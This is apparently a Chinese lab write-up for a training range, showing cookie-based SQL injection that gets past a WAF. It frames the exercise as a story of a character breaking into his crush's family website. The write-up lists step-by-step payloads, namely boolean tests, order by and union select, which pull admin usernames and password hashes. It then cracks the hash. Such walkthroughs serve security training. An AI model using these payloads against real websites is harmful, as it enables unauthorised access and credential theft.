封神台靶场：第二章：遇到阻难！绕过WAF过滤！【配套课时：SQL注入攻击原理 实战演练】

尤里在得到女神家网站密码后，却发现注入点权限很小，凭他的皮毛技术也没找到网站后台，

这是尤里通过旁站查询，他发现了女神家网站是用的主机空间托管，
他立刻扫描旁站，果然发现一个站点，且后台是默认路径……
尤里冷笑一声行动了起来，这时有一层防火墙拦在了他的面前。。

靶场地址

https://hack.zkaq.cn/battle/target?id=31ac789a52edf9bb

请求方式    GET
闭合方式    
注入方式    Cookie
注入代码

测试

?id=169　　　　正常访问
?id=171　　　　正常访问
可以看出id值是跟数据库有交互的。
?id=169'　　　　页面限制---WAF

经过研究发现，cookie可能存在注入点

插件是火狐的ModHeader插件，通过插件扩展搜索直接安装，这里就不分享了。

输入id=171'，发现有报错，这里存在报错注入。

 由于Cookie是放在HTTP中通过URL进行传输的，空格的URL编码

id=171+and+1=1　　　　页面正常　

id=171+and+1=2　　　　页面报错

跟第一章一样，采用order by确定字段数量

order by 10页面显示正常（记得把空格换成+）

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

id=12345+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

 使用https://cmd5.com/帮助解密

　　密码为　　welcome